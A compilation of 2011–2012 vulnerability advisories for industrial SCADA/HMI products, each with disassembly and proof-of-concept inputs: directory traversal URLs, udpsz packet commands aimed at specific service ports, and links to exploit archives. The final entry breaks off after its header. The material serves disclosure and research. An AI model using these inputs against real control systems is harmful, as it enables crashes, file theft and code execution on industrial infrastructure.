Application: *SpecView*
http://www.specview.com
Versions: *<= 2.5 build 853*
Platforms: *Windows*
Bug: *web server directory traversal*
Exploitation: *remote*
Date: *29 Jun 2012*

SpecView is an easy to use SCADA software.

 # Vulnerabilities #

The software has an option *(disabled by default)* that allows to run a
web server for providing an updated screenshot of the program.
This built-in web server is affected by a classical directory
traversal attack through the usage of more than two dots.

 # Exploit #

http://SERVER/.../.../.../.../.../.../boot.ini
http://SERVER/...\...\...\...\...\...\boot.ini

Application: *PowerNet Twin Client*
http://www.honeywellaidc.com/en-US/Pages/Product.aspx?category=Software&cat=HSM&pid=PowerNet%20Twin%20Client
Versions: *<= 8.9 (RFSync 1.0.0.1)*
Platforms: *Windows*
Bug: *unexploitable stack overflow*
Exploitation: *remote*
Date: *29 Jun 2012*

From vendor's website:
"PowerNet Twin Client v8.9 PowerNet Twin Client is a serverless, terminal based software used in 2.4 GHz networks."

 # Vulnerabilities #

The software uses the function 00403cb0 to read 100 bytes from the incoming connection and uses a signed 8bit value provided by the client to copy this data in a stack buffer:

```
00403DCB  |. 0FBE4424 29       MOVSX EAX,BYTE PTR SS:[ESP+29]    ; 8bit size with 8->32
00403DD0  |. 8B8C24 38020000   MOV ECX,DWORD PTR SS:[ESP+238]    ; integer expansion bug
00403DD7  |. 83C4 08           ADD ESP,8
00403DDA  |. 48                DEC EAX                           ; integer overflow
00403DDB  |. 85C9              TEST ECX,ECX
00403DDD  |. 74 02             JE SHORT RFSync.00403DE1
00403DDF  |. 8901              MOV DWORD PTR DS:[ECX],EAX
00403DE1  |> 8B9424 2C020000   MOV EDX,DWORD PTR SS:[ESP+22C]
00403DE8  |. 85D2              TEST EDX,EDX
00403DEA  |. 74 29             JE SHORT RFSync.00403E15
00403DEC  |. 8BC8              MOV ECX,EAX
00403DEE  |. 8BD9              MOV EBX,ECX
00403DF0  |. C1E9 02           SHR ECX,2
00403DF3  |. 8BFA              MOV EDI,EDX
00403DF5  |. 8D7424 23         LEA ESI,DWORD PTR SS:[ESP+23]     ; stack overflow
00403DF9  |. F3:A5             REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>
```

So the byte *0x80* will become *0xffffff80* and so on.

Unfortunately this vulnerabily cannot be exploited to execute code because there is no way to control the data located after the packet that has a fixed size of 100 bytes: the result is just a Denial of Service.

 # Exploit #

http://aluigi.org/testz/udpsz.zip

```
udpsz -T -b 0x41 -C "11 00" SERVER 1804 100
```

Application: *Sielco Sistemi Winlog*
http://www.sielcosistemi.com/en/products/winlog_scada_hmi/
Versions: *<= 2.07.16*
UPDATE:
also the new version 2.07.17 is affected by almost all these vulnerabilities since has been introduced a signed comparison "if((signed int)value > 32) return;" for the 32bit number after the opcode (in my PoC usually I used the value e6563600) so replace it with a negative value (for example 6ccaf6ff but will not work with my pre-existent PoC because it's aligned while my old tests didn't care about alignment) and most of the bugs will work again:

```
00411A03  |. 83F8 32            CMP EAX,32
00411A06  |. 7D 0B              JGE SHORT RunTime.00411A13
00411A08  |. 8B0C85 642D5B00    MOV ECX,DWORD PTR DS:[EAX*4+5B2D64]
```

Platforms: *Windows*
Bugs: *A] DbiGetRecordCount code execution*
B] @Db@TDataSet@Close$qqrv code execution
C] DbiSetToRecordNo code execution
D] _TCPIPS_BinOpenFileFP stack overflow
E] Directory traversal
F] write4
G] write1
Exploitation: *remote*
Date: *26 Jun 2012*

From vendor's website:
"Simple, flexible and economical, Winlog Pro is a SCADA/HMI software package for the supervision of industrial and civil plants."

 # Vulnerabilities #

This software can act as a TCP/IP server by enabling the specific **"Run TCP/IP server"** option available in the **"Configuration->Options->TCP/IP"** section of the project we want to run and Runtime.exe will listen on the TCP port 46824.

The part of the server running on this port uses a static buffer of *0x119* bytes to handle the incoming data so all the vulnerabilities explained below can be exploited using these fixed addresses.

Then the exception handler used by the server allows to perform many attempts without altering the normal work of the program.

A] DbiGetRecordCount code execution

```
DbfIntf.DbiGetRecordCount:
0038354B   8B10             MOV EDX,DWORD PTR DS:[EAX]
0038354D   FF92 F4000000    CALL DWORD PTR DS:[EDX+F4]
```

B] @Db@TDataSet@Close$qqrv code execution

```
Vcldb40.@Db@TDataSet@Close$qqrv:
46012BEE   8B08             MOV ECX,DWORD PTR DS:[EAX]
46012BF0   FF91 20010000    CALL DWORD PTR DS:[ECX+120]
```

C] DbiSetToRecordNo code execution

```
  DbfIntf.DbiSetToRecordNo:
  00382BEB   8B10             MOV EDX,DWORD PTR DS:[EAX]
  00382BED   FF92 F4000000    CALL DWORD PTR DS:[EDX+F4]
```

D] _TCPIPS_BinOpenFileFP stack overflow

```
  004134F6  /. 55              PUSH EBP
  004134F7  |. 8BEC            MOV EBP,ESP
  004134F9  |. 81C4 FCFEFFFF   ADD ESP,-104
  ...
  00413525  |> FF75 08         PUSH DWORD PTR SS:[EBP+8]      ; /Arg4
  00413528  |. 8B15 E8085B00   MOV EDX,DWORD PTR DS:[5B08E8]  ; |
  0041352E  |. 8D8D FCFEFFFF   LEA ECX,DWORD PTR SS:[EBP-104] ; |
  00413534  |. 81C2 E0020000   ADD EDX,2E0                    ; |
  0041353A  |. 52              PUSH EDX                       ; |Arg3
  0041353B  |. 68 FC245600     PUSH Runtime.005624FC          ; |Arg2 = 005624FC ASCII "%
s\%s"
  00413540  |. 51              PUSH ECX                       ; |Arg1
  00413541  |. E8 B6BD1300     CALL Runtime.0054F2FC          ; \RunTime.0054F2FC sprintf
()
```

E] Directory traversal

Through opcode *0x78* is possible to open any file on the disk where the server is running and with *0x96/0x97/0x98* is possible to read its content.

F] write4

The opcodes used for the file operations specify a 32bit number that is the element of the array returned by the server while opening the file and so it can be used to load a file pointer outside the array *(stream lock table PUSH DWORD PTR DS:[EBX*4+5B0024])* and maybe reaching EnterCriticalSection with an arbitrary value:

```
  EnterCriticalSection:
  7C81A1C1   F0:0FB301        LOCK BTR DWORD PTR DS:[ECX],EAX   ; LOCK prefix
```

Anyway exploiting a similar bug is very theoretical because it’s hard to bypass all the obstacles for using the own 32bit value with EnterCriticalSection.

G] write1

The lack of checks on the return value of the realloc function used by the software allows to put a *0x00* byte outside the existent buffer if the specified size to reallocate is negative or unallocable:

```
  Vcl40.@System@@LStrSetLength$qqrv:
  40004F42   E8 E1DCFFFF      CALL Vcl40.@System@@ReallocMem$qqrv
  40004F47   58               POP EAX
  40004F48   83C0 08          ADD EAX,8
  40004F4B   8903             MOV DWORD PTR DS:[EBX],EAX
  40004F4D   8970 FC          MOV DWORD PTR DS:[EAX-4],ESI
  40004F50   C60430 00        MOV BYTE PTR DS:[EAX+ESI],0
```

 # Exploit #

http://aluigi.org/testz/udpsz.zip

A]
```
  udpsz -b a -T -C 15 0x14 -C "e6563600 e6563600" 0x15 SERVER 46824 0x119
```

B]
```
  udpsz -b a -T -C 17 0x14 -C "e6563600 ea563600 ce553600" 0x15 SERVER 46824 0x119
```

C]
```
  udpsz -b a -T -C 1e 0x14 -C "11111111 e6563600" 0x15 SERVER 46824 0x119
                -C 28
                -C 32
                -C 3c
```

D]
```
  udpsz -b a -T -C 78 0x14 SERVER 46824 0x119
```

E]
```
  udpsz -D -4 -T -C 78 0x14 -c "../../../../../../../../../../boot.ini\0" 0x15 SERVER 468
24 0x119
  udpsz -D -4 -T -C 98 0x14 -C "00 00 00 00" 0x19 SERVER 46824 0x119
```

F]
```
  udpsz -b 0x40 -T SERVER 46824 0xfffff
  udpsz -T -C 7b 0x14 -b 0x7f -C "c1c13800" 0x15 SERVER 46824 0x119
  note that the above PoC does NOTHING, it's just a note
```

G]
```
  udpsz -T -C 15 0x14 -C "e6563600 7a553600 f2563600 88888888" 0x15 SERVER 46824 0x119
```

Application: *Pro-face Pro-Server EX and WinGP PC Runtime*
http://www.profaceamerica.com/cms/resource_library/products/9e3c2a7965a27592/index.html
Versions: *ProServr <= 1.30.000*
PCRuntime <= 3.1.00
Platforms: *Windows*
Bug: *A] "Find Node" invalid memory access*
B] memset integer overflow
C] Unhandled exception
D] Invalid memory read access and disclosure
E] Possible limited memory corruptions
Exploitation: *remote*
Date: *13 May 2012*

"Pro-Server EX is a powerful, yet cost effective data management server that provides real-time reporting of automated manufacturing and production environments at a fraction of the price of a full SCADA system."

 # Vulnerabilities #

ProServr.exe runs as a stand-alone server by default but the vendor suggests to set it as a Windows service during the installation.

A] "Find Node" invalid memory access

The server trusts a 32bit **"number of elements"** value used locate the subsequent string in the received packet.
If the packet contains a particular flag then the following function will try to check the presence of the string **"\x1c" "Find Node\0" "ASP"** at that arbitrary location:

```
0033650C  |. 8D4486 04      LEA EAX,DWORD PTR DS:[ESI+EAX*4+4]    ; seek
...
00336400  /$ A1 9C7A3A00    MOV EAX,DWORD PTR DS:[3A7A9C]         ; the function
00336405  |. 8038 1C        CMP BYTE PTR DS:[EAX],1C
00336408  |. 74 03          JE SHORT TDASforW.0033640D
0033640A  |> 32C0           XOR AL,AL
0033640C  |. C3             RETN
```

This bug works also if the server is protected by password *(max 8 bytes xored with 0xff)* and the attacker doesn't know it.

B] memset integer overflow

Through the opcode *0x07 -> 0x5/0x6/0x7* it's possible to exploit an integer overflow for allocating a buffer of 0 bytes but a memset*()* after it allows only to exploit this bug for crashing the server due to a buffer-overflow of zeroes *(unfortunately memcpy can't be reached)*:

```
0033660C  |. 8B7D 18        MOV EDI,DWORD PTR SS:[EBP+18]     ; our 32bit value
0033660F  |. 83C7 18        ADD EDI,18                        ; + 0x18
00336612  |. B9 988C3A00    MOV ECX,TDASforW.003A8C98
00336617  |. 8D1C07         LEA EBX,DWORD PTR DS:[EDI+EAX]
0033661A  |. E8 C14CFFFF    CALL TDASforW.?Lock@GaMutex@@QAEXXZ
0033661F  |. 8B35 3C8C3A00  MOV ESI,DWORD PTR DS:[3A8C3C]
00336625  |. 03F3           ADD ESI,EBX
00336627  |. B9 988C3A00    MOV ECX,TDASforW.003A8C98
0033662C  |. 8935 3C8C3A00  MOV DWORD PTR DS:[3A8C3C],ESI
00336632  |. E8 A921FFFF    CALL TDASforW.?Unlock@GaMutex@@QAEXXZ
00336637  |. 8D4B 04        LEA ECX,DWORD PTR DS:[EBX+4]
0033663A  |. 51             PUSH ECX
0033663B  |. E8 045F0300    CALL <JMP.&MFC71.#265>            ; malloc + 4
```

```
00336640  |. 53             PUSH EBX
00336641  |. 8D70 04        LEA ESI,DWORD PTR DS:[EAX+4]
00336644  |. 6A 00          PUSH 0
00336646  |. 56             PUSH ESI
00336647  |. 8918           MOV DWORD PTR DS:[EAX],EBX        ; memset crash
00336649  |. FF15 28803800  CALL DWORD PTR DS:[<&GAOS.?osUTmemset@>]
0033664F  |. 57             PUSH EDI
00336650  |. 55             PUSH EBP
00336651  |. 56             PUSH ESI
00336652  |. FF15 24803800  CALL DWORD PTR DS:[<&GAOS.?osUTmemcpy@>]
```

C] Unhandled exception

Through the opcode *0x07 -> 0x5/0x6/0x7* it's possible to terminate the server due to an unhandled exception *("**Runtime Error**")* caused by a too big amount of data to allocate.

D] Invalid memory read access and disclosure

Through the opcode *0x07 -> 0x5/0x6/0x7/0x14* it's possible to crash the server specifying a big size value so that it's impossible to copy the data from the source packet using the osUTmemcpy function.
The opcode *0x7 -> 0x14* is a bit more interesting because it returns a desired amount of memory back to the client and so it's possible to see all the memory till the end of the buffer.

E] Possible limited memory corruptions

Often the server reuses the same memory used for the input packet for modifying it and then sending it back to the client.
The lack of checks on the size of the received packet allows an attacker to send a small packet and then forcing the server to write its fields at those positions higher than the allocated packet size corrupting the heap. Example of corruption with opcode *0x7->0x14*:

```
0033CE2F   . 33C9               XOR ECX,ECX
0033CE31   . 3BD1               CMP EDX,ECX
0033CE33   . 66:8948 04         MOV WORD PTR DS:[EAX+4],CX
0033CE37   . C740 1C 16260000   MOV DWORD PTR DS:[EAX+1C],2616
0033CE3E   . 8948 24            MOV DWORD PTR DS:[EAX+24],ECX
0033CE41   . 8948 28            MOV DWORD PTR DS:[EAX+28],ECX
0033CE44   . 8948 2C            MOV DWORD PTR DS:[EAX+2C],ECX
0033CE47   . 8948 30            MOV DWORD PTR DS:[EAX+30],ECX
0033CE4A   . 8948 34            MOV DWORD PTR DS:[EAX+34],ECX
0033CE4D   . 8948 38            MOV DWORD PTR DS:[EAX+38],ECX
0033CE50   . 8948 3C            MOV DWORD PTR DS:[EAX+3C],ECX
0033CE53   . 8948 40            MOV DWORD PTR DS:[EAX+40],ECX
```

In this example ECX is just zero so not much useful but it's only to demonstrate a big chunk of code since there are some other places where are performed no checks on the received packet size. Note that this attack is possible only if no larger packets have been previously received since the memory buffer is one and fits the largest packet.

PCRuntime.exe uses also the TCP port 8000 which is fully compatible with the protocol running on the UDP one *(type, flags, size, data)*.

 # Exploit #

http://aluigi.org/poc/proservrex_1.zip

Application: *Wonderware Archestra SuiteLink*
http://www.wonderware.com
Versions: *current (it should be 59.x)*
the _Grow crash has been confirmed on versions 51.5 and older while the resource consumption is valid for all the versions
Platforms: *Windows*
Bug: *Resources consumption (Denial of Service in older versions)*
Exploitation: *remote*
Date: *11 May 2012*

Suitelink is a protocol used to allow various components of different vendors *(GE, Siemens, the same Wonderware and so on)* to communicate and exchange data through a central server running the slssvc service.

"SuiteLink supports data properties (VTQ) for Value, Time Stamp and Quality which are especially important for alarming, historical archiving and SCADA applications."

 # Vulnerabilities #

UPDATE 13 May 2012:
Added additional information about the effects on different versions, indeed the _Grow crash was tested on a previous version released in 2010 *(version 51)* and I have been able to test a more recent version only today. Note that version 51.5.0.0 is still distribuited in the current Historian and FsGateway products available on Intouch 10.5.

The slssvc service can receive packets of any size containing very long unicode strings.
These strings are duplicated various time consuming lot of resources *(like memory)* and CPU for some time making the whole system slow and almost impossible to use.

Instead in versions released before 2011 like 51.5.0.0 *(if there is the* **"_Grow"** string inside the executable, it's vulnerable) the slssvc service can be crashed remotely due to a long and unallocable unicode string when calling _Grow*()*.
The following code comes from the function that handles **"guid + number + unicode string"** but it's possible that this bug can be exploited in other places where it's necessary to allocate space for duplicating other strings:

```
00404BE2  |. 57              PUSH EDI                                ; /s
00404BE3  |. 8816            MOV BYTE PTR DS:[ESI],DL                ; |
00404BE5  |. 895E 04         MOV DWORD PTR DS:[ESI+4],EBX            ; |
00404BE8  |. 895E 08         MOV DWORD PTR DS:[ESI+8],EBX            ; |
00404BEB  |. 895E 0C         MOV DWORD PTR DS:[ESI+C],EBX            ; |
00404BEE  |. FF15 30714000   CALL DWORD PTR DS:[<&MSVCRT.wcslen>] ; \wcslen
00404BF4  |. 83C4 04         ADD ESP,4
00404BF7  |. 8BF8            MOV EDI,EAX
00404BF9  |. 8BCE            MOV ECX,ESI
00404BFB  |. 6A 01           PUSH 1
00404BFD  |. 57              PUSH EDI
00404BFE  |. FF15 E4704000   CALL DWORD PTR DS:[<&MSVCP60.?_Grow@>;
...
0034F761   C640 FF 00        MOV BYTE PTR DS:[EAX-1],0               ; EAX is 2
```

In the most recent versions like 56.x the crash isn't reached because that part of code has been modified and _Grow is no longer used in the software, the vendor opted for a classical **"basic_string"** allocator.
Obviously the resources consumption problem affects all the versions.

 # Exploit #

http://aluigi.org/poc/suitelink_1.zip

Application: *Proficy HMI/SCADA - iFIX*
http://www.ge-ip.com/products/family/proficy_hmiscada_ifix
Versions: *Historian Data Archiver <= 4.0 SIM7 and 3.5 SIM14*
Platforms: *Windows*
Bug: *memory corruption*
Exploitation: *remote, versus server*
Date: *probably found 18 Jan 2011*

 # Vulnerabilities #

ihDataArchiver.exe is a service running on port 14000.

The protocol is composed by:
- 2 bytes: magic
- *0x26* bytes: header
- optional 4 bytes: a 32bit containing some options
- data

The **"data"** field is composed by an initial header of variable size *(its length is specified at offset 0xc* of this field) followed by a list of chunks.
Each chunk is composed by a *0x14* bytes header where are specified the **"property"**, the type of content, its size and the data.

Exist various types of data but some of them can be forced on properties that use different types and with the effect of corrupting the memory for code execution.

The types that can be forced and cause problems are: 6, 7, 8, 10 and 12 that cause different effects that go from the freeing of arbitrary memory to the writing of data in arbitrary addresses.

The vulnerable function is visibile from address 004192b0 of Historian 3.5 SIM11.

In my proof-of-concept I have opted for showing both type 7 and 8 at the same time since type 7 writes the size of the content and the pointer to the allocated buffer *(0 if non allocable)* in each prototype's structure overwriting adiacent prototypes if they are smaller than 8 bytes *(look at the various free(0x61616161)* encountered) and then the type 8 writes a custom byte in an arbitrary memory location *(this effect is more visible with Historian 4.0)*.

The following is the list of available properties and their type, I have cut the names for saving space:

0x00 7	*0x01* 12	*0x02* 3	*0x03* 12	*0x04* 3	*0x05* 3	*0x06* 3
0x07 7	*0x08* 1	*0x09* 1	*0x0a* 10	*0x0b* 3	*0x0c* 12	*0x0d* 7
0x0e 7	*0x0f* 3	*0x10* 3	*0x11* 3	*0x12* 12	*0x13* 3	*0x14* 7
0x15 7	*0x16* 7	*0x17* 9	*0x18* 7	*0x19* 9	*0x1a* 9	*0x1b* 3
0x1c 3	*0x1d* 3	*0x1e* 3	*0x1f* 12	*0x20* 3	*0x21* 3	*0x22* 1
0x23 3	*0x24* 3	*0x25* 3	*0x26* 7	*0x27* 1	*0x28* 3	*0x29* 7
0x2a 3	*0x2b* 3	*0x2c* 3	*0x2d* 12	*0x2e* 1	*0x2f* 7	*0x30* 3
0x31 3	*0x32* 12	*0x33* 12	*0x34* 12	*0x35* 9	*0x36* 9	*0x37* 7
0x38 12	*0x39* 3	*0x3a* 7	*0x3b* 3	*0x3c* 12	*0x3d* 7	*0x3e* 12
0x3f 7	*0x40* 12	*0x41* 12	*0x42* 7	*0x43* 3	*0x44* 3	*0x45* 12
0x46 12	*0x47* 7	*0x48* 9	*0x49* 7	*0x4a* 3	*0x4b* 3	*0x4c* 3
0x4d 3	*0x4e* 3	*0x4f* 3	*0x50* 7	*0x51* 7	*0x52* 7	*0x53* 7
0x54 7	*0x55* 3	*0x56* 7	*0x57* 3	*0x58* 3	*0x59* 12	*0x5a* 12
0x5b 1	*0x5c* 3	*0x5d* 3	*0x5e* 3	*0x5f* 7	*0x60* 7	*0x61* 1
0x62 1	*0x63* 7	*0x64* 3	*0x65* 3	*0x66* 12	*0x67* 3	*0x68* 3
0x69 7	*0x6a* 3	*0x6b* 10	*0x6c* 10	*0x6d* 10	*0x6e* 12	*0x6f* 12
0x70 3	*0x71* 9	*0x72* 9	*0x73* 1	*0x74* 1	*0x75* 7	*0x76* 1

 # Exploit #

http://aluigi.org/poc/ifix_2.zip

Application: *Proficy Real-Time Information Portal*
http://www.ge-ip.com/products/2811
Versions: *<= 3.5*
Platforms: *Windows*
Bug: *directory traversal*
Exploitation: *remote, versus server*
Date: *probably found 18 Jan 2011*

 # Vulnerabilities #

rifsrvd.exe is a service running on port 5159.

The opcode ID_SAVE_SRVC_CFG *(0x01)* is used for creating a file in the RIFServ folder of the software where is saved the configuration.

The file will have a name composed by **"service_config"** plus the string provided by the client but it's enough to specify the usual directory traversal patterns for bypassing it and writing a bat file in the Startup folder like in my proof-of-concept.

 # Exploit #

http://aluigi.org/poc/rtip_1.zip

Application: *xArrow*
http://www.xarrow.net
Versions: *<= 3.2*
Platforms: *Windows*
Bugs: *A] decompression NULL pointer*
B] heap corruption
C] invalid read access and memory corruption
D] memory corruption
Exploitation: *remote*
Date: *02 Mar 2012*

From vendor's homepage:
"xArrow is a lightweight but fully functional industrial configuration software, used to monitor and control industrial, infrastructure, or facility-based processes.
xArrow can communicate directly with most of the PLC device, such as Mitsubishi, Omron, Siemens, GE, etc., and also support OPC 2.0 and DDE."

The issues affect the SCADA module with the network interface activated.

 # Vulnerabilities #

A] decompression NULL pointer

The server allocates memory without checking the buffer returned by calloc*()* and so causing problems while it tries to copy the data into this NULL pointer:

```
00417005  |. 81BD C4FEFFFF 00200000||CMP DWORD PTR SS:[EBP-13C],2000
0041700F  |. 76 26                  ||JBE SHORT SCADA.00417037
00417011  |. 8B85 C4FEFFFF          ||MOV EAX,DWORD PTR SS:[EBP-13C]
00417017  |. 50                     ||PUSH EAX                                ; /size
00417018  |. 6A 01                  ||PUSH 1                                  ; |nitems = 1
0041701A  |. FF15 304B4800          ||CALL DWORD PTR DS:[<&MSVCRT.calloc>]    ; \calloc
...
004170AA  |> 8B8D B0FEFFFF          ||MOV ECX,DWORD PTR SS:[EBP-150]
004170B0  |. 51                     ||PUSH ECX                                ; /n
004170B1  |. 8B55 E8                ||MOV EDX,DWORD PTR SS:[EBP-18]           ; |
004170B4  |. 8B82 6C200000          ||MOV EAX,DWORD PTR DS:[EDX+206C]         ; |
004170BA  |. 83C0 12                ||ADD EAX,12                              ; |
004170BD  |. 50                     ||PUSH EAX                                ; |src
004170BE  |. 8B8D D0FEFFFF          ||MOV ECX,DWORD PTR SS:[EBP-130]          ; |
004170C4  |. 51                     ||PUSH ECX                                ; |dest
004170C5  |. E8 E66A0600            ||CALL <JMP.&MSVCRT.memcpy>               ; \memcpy
```

B] heap corruption

After the decompression of the data the server stores the IP address of the client at offset *0xa* of such buffer without checking if its size is enough to contain it *(0xa* + 4 = at least *0xe* bytes).
If an attacker sends less than *0xe* bytes he can corrupt the heap memory:

```
00417394  |. 8B48 10          ||MOV ECX,DWORD PTR DS:[EAX+10]   ; IP address
00417397  |. 894A 0A          ||MOV DWORD PTR DS:[EDX+A],ECX    ; store IP
```

Through the sending of additional valid packets it's possible to partially control the corruption for forcing the arbitrary freeing of a memory address *(write4)*.

C] invalid read access and memory corruption

Invalid memory access in the reading of the memory after the allocated buffer.

```
  0040EC7D  |. 8B4D F0         MOV ECX,DWORD PTR SS:[EBP-10]
  0040EC80  |. 81E1 FFFF0000   AND ECX,0FFFF
  0040EC86  |. 51              PUSH ECX                                ; /size
  0040EC87  |. 6A 01           PUSH 1                                  ; |nitems = 1
  0040EC89  |. FF15 304B4800   CALL DWORD PTR DS:[<&MSVCRT.calloc>]    ; \calloc
  0040EC8F  |. 83C4 08         ADD ESP,8
  0040EC92  |. 8945 C0         MOV DWORD PTR SS:[EBP-40],EAX
  0040EC95  |. 837D C0 00      CMP DWORD PTR SS:[EBP-40],0
  0040EC99  |. 74 35           JE SHORT SCADA.0040ECD0
  0040EC9B  |. 8B55 F0         MOV EDX,DWORD PTR SS:[EBP-10]
  0040EC9E  |. 81E2 FFFF0000   AND EDX,0FFFF
  0040ECA4  |. 52              PUSH EDX                                ; /n
  0040ECA5  |. 8B45 E8         MOV EAX,DWORD PTR SS:[EBP-18]           ; |
  0040ECA8  |. 50              PUSH EAX                                ; |src
  0040ECA9  |. 8B4D C0         MOV ECX,DWORD PTR SS:[EBP-40]           ; |
  0040ECAC  |. 51              PUSH ECX                                ; |dest
  0040ECAD  |. E8 FEEE0600     CALL <JMP.&MSVCRT.memcpy>               ; \memcpy
or
  0040FF9B  |. 66:8B48 1E      MOV CX,WORD PTR DS:[EAX+1E]             ; 16bit value
  0040FF9F  |. C1E1 04         SHL ECX,4
  0040FFA2  |. 83C1 20         ADD ECX,20
  0040FFA5  |. 894D E8         MOV DWORD PTR SS:[EBP-18],ECX
  0040FFA8  |. 8B55 E8         MOV EDX,DWORD PTR SS:[EBP-18]
  0040FFAB  |. 52              PUSH EDX                                ; /size
  0040FFAC  |. 6A 01           PUSH 1                                  ; |nitems = 1
  0040FFAE  |. FF15 304B4800   CALL DWORD PTR DS:[<&MSVCRT.calloc>]    ; \calloc
  0040FFB4  |. 83C4 08         ADD ESP,8
  0040FFB7  |. 8B4D FC         MOV ECX,DWORD PTR SS:[EBP-4]
  0040FFBA  |. 8901            MOV DWORD PTR DS:[ECX],EAX
  0040FFBC  |. 8B55 E8         MOV EDX,DWORD PTR SS:[EBP-18]
  0040FFBF  |. 52              PUSH EDX                                ; /n
  0040FFC0  |. 8B45 08         MOV EAX,DWORD PTR SS:[EBP+8]            ; |
  0040FFC3  |. 8B08            MOV ECX,DWORD PTR DS:[EAX]              ; |
  0040FFC5  |. 51              PUSH ECX                                ; |src
  0040FFC6  |. 8B55 FC         MOV EDX,DWORD PTR SS:[EBP-4]            ; |
  0040FFC9  |. 8B02            MOV EAX,DWORD PTR DS:[EDX]              ; |
  0040FFCB  |. 50              PUSH EAX                                ; |dest
  0040FFCC  |. E8 DFDB0600     CALL <JMP.&MSVCRT.memcpy>               ; \memcpy
```

This is possible due to an integer overflow during the checking of the available packet size using the first 32bit value that will cause the bypassing of any other subsequent check:

```
  0040CF6F  |. 8B08            MOV ECX,DWORD PTR DS:[EAX]              ; our 32bit value
  0040CF71  |. 83C1 16         ADD ECX,16                              ; integer overflow
  0040CF74  |. 394D 10         CMP DWORD PTR SS:[EBP+10],ECX
  0040CF77  |. 73 15           JNB SHORT SCADA.0040CF8E
```

Note that this bug can be exploited only if the IP address stored in the packet will allow a connection to the same host *(check next bug)*.

D] memory corruption

When the server receives an UDP packet of type 4/1 it gets the IP address stored at offset *0x26* and connects to it on port 1975 without sending/receiving data.
If the connection goes in the same server *(directly or via another host used as proxy it's the same)* then there will be a memory corruption.
No additional research has been performed.

 # Exploit #

http://aluigi.org/poc/xarrow_1.zip

Application: *Beckhoff TwinCAT*
http://www.beckhoff.de/twincat/
Versions: *TCatScopeView <= 2.9.0 (Build 226)*
Platforms: *Windows*
Bug: *integer overflow*
Exploitation: *file*
Date: *02 Mar 2012*

From vendor's website:
"The Beckhoff TwinCAT software system turns almost any compatible PC into a real-time controller with a multi-PLC system, NC axis control, programming environment and operating station."

 # Vulnerabilities #

TCatScopeView is an application that opens the files with the SVW and SCP registered extensions.

Exists an integer overflow during the allocation of some memory where gets trusted a 32bit value provided in the file, multiplicated by 16 and then filled with the subsequent data available in the file till its end, so the overflow is enough controlled *(but it doesn't look much reliable in my opinion)*.

As side note there is an interesting but not *(much)* exploitable vulnerability in the handling of the WSM files opened by TCatSysManager.exe:

```
  007D26FA   396C24 28        CMP DWORD PTR SS:[ESP+28],EBP
  007D26FE   896C24 1C        MOV DWORD PTR SS:[ESP+1C],EBP
  007D2702   0F8E F9020000    JLE TCatSysM.007D2A01
  ...
  007D2A8E   . 396C24 20      CMP DWORD PTR SS:[ESP+20],EBP
  007D2A92   . 8987 48030000  MOV DWORD PTR DS:[EDI+348],EAX
  007D2A98   . 7E 27          JLE SHORT TCatSysM.007D2AC1
  007D2A9A   . 8B6C24 20      MOV EBP,DWORD PTR SS:[ESP+20]
  007D2A9E   . 8D9F 94000000  LEA EBX,DWORD PTR DS:[EDI+94]
  007D2AA4   > 833B 00        CMP DWORD PTR DS:[EBX],0
  007D2AA7   . 74 0C          JE SHORT TCatSysM.007D2AB5
  007D2AA9   . 8B0B           MOV ECX,DWORD PTR DS:[EBX]
  007D2AAB   . 8B11           MOV EDX,DWORD PTR DS:[ECX]
  007D2AAD   . 8B82 14020000  MOV EAX,DWORD PTR DS:[EDX+214]
  007D2AB3   . FFD0           CALL EAX
  007D2AB5   > 83C3 04        ADD EBX,4
  007D2AB8   . 83ED 01        SUB EBP,1
  007D2ABB   .^75 E7          JNZ SHORT TCatSysM.007D2AA4
```

The result is EIP pointing to *0x25ff00ad (a 32bit integer taken from the .text section of the executabl)* so without the possibility of allocating and filling memory there is no way to exploit this bug, at least for the moment.

Reported just for **"curiosity"**, maybe can be an interesting case study.

 # Exploit #

http://aluigi.org/poc/twincat_2.zip

Application: *ABB RobotWare*
the vulnerable service is available in RoboStudio and WebWare:
http://www.abb.com/product/seitp327/12e18c81002601cac1256f2b003b638e.aspx
the service doesn't need a license to run so can be tested without problems, remember to enable the "Data Collector" option during the installation of WebWare
Versions: *<= 5.12.2040.02*
Platforms: *Windows*
Bug: *stack overflow*
Exploitation: *remote, versus server*
Date: *probably found 10 Feb 2011*

 # Vulnerabilities #

ABB Industrial Robot Discovery Server *(RobNetScanHost.exe)* is a service that is started manually or automatically if some ABB programs are launched *(for example* **"Device Configuration"**) and remains up.
This is what happens in WebWare so it's possible that in the other ABB products that use it the service is started automatically at boot or maybe the situation is the same.

The UDP port 5512 accepts the incoming **"Netscan"** packets and there is a stack overflow during the handling of the opcodes *0xa (limited by the canary)* and *0xe (successfully bypasses the canary)*:

```
  10002875  |.  48             |DEC EAX                          ; Switch (cases 1..11)
  10002876  |.  83F8 10        |CMP EAX,10
  10002879  |.  0F87 AE000000  |JA 1000292D
  1000287F  |.  FF2485 5E2900> |JMP DWORD PTR DS:[EAX*4+1000295E]
  ...skip...
  100028E3  |>  8B45 84        |MOV EAX,DWORD PTR SS:[EBP-7C] ; Case A of switch 10002875
  100028E6  |.  57             |PUSH EDI
  100028E7  |.  FF75 80        |PUSH DWORD PTR SS:[EBP-80]
  100028EA  |.  C700 01000000  |MOV DWORD PTR DS:[EAX],1
  100028F0  |>  E8 BBEB0000    |CALL 100114B0                    ; stack overflow
  100028F5  |.  59             |POP ECX
  100028F6  |.  EB 34          |JMP SHORT 1000292C
  100028F8  |>  57             |PUSH EDI                         ; Case C of switch 10002875
  100028F9  |.  E8 AAEC0000    |CALL 100115A8
  100028FE  |.  48             |DEC EAX
  100028FF  |.  F7D8           |NEG EAX
  10002901  |.  1BC0           |SBB EAX,EAX
  10002903  |.  40             |INC EAX
  10002904  |.  40             |INC EAX
  10002905  |.  8946 40        |MOV DWORD PTR DS:[ESI+40],EAX
  10002908  |.  EB 22          |JMP SHORT 1000292C
  1000290A  |>  837D 90 00     |CMP DWORD PTR SS:[EBP-70],0   ; Case E of switch 10002875
  1000290E  |.  74 1D          |JE SHORT 1000292D
  10002910  |.  57             |PUSH EDI
  10002911  |.  FF75 90        |PUSH DWORD PTR SS:[EBP-70]
  10002914  |.^ EB DA          |JMP SHORT 100028F0
```

 # Exploit #

http://aluigi.org/testz/udpsz.zip

```
udpsz -c "Netscan;3e8;0;e:" -b a SERVER 5512 1000
```

Application: *FactoryTalk RNADiagReceiver*
http://www.rockwellautomation.com/rockwellsoftware/factorytalk/
Versions: *RNADiagReceiver <= 2.40.0.12*
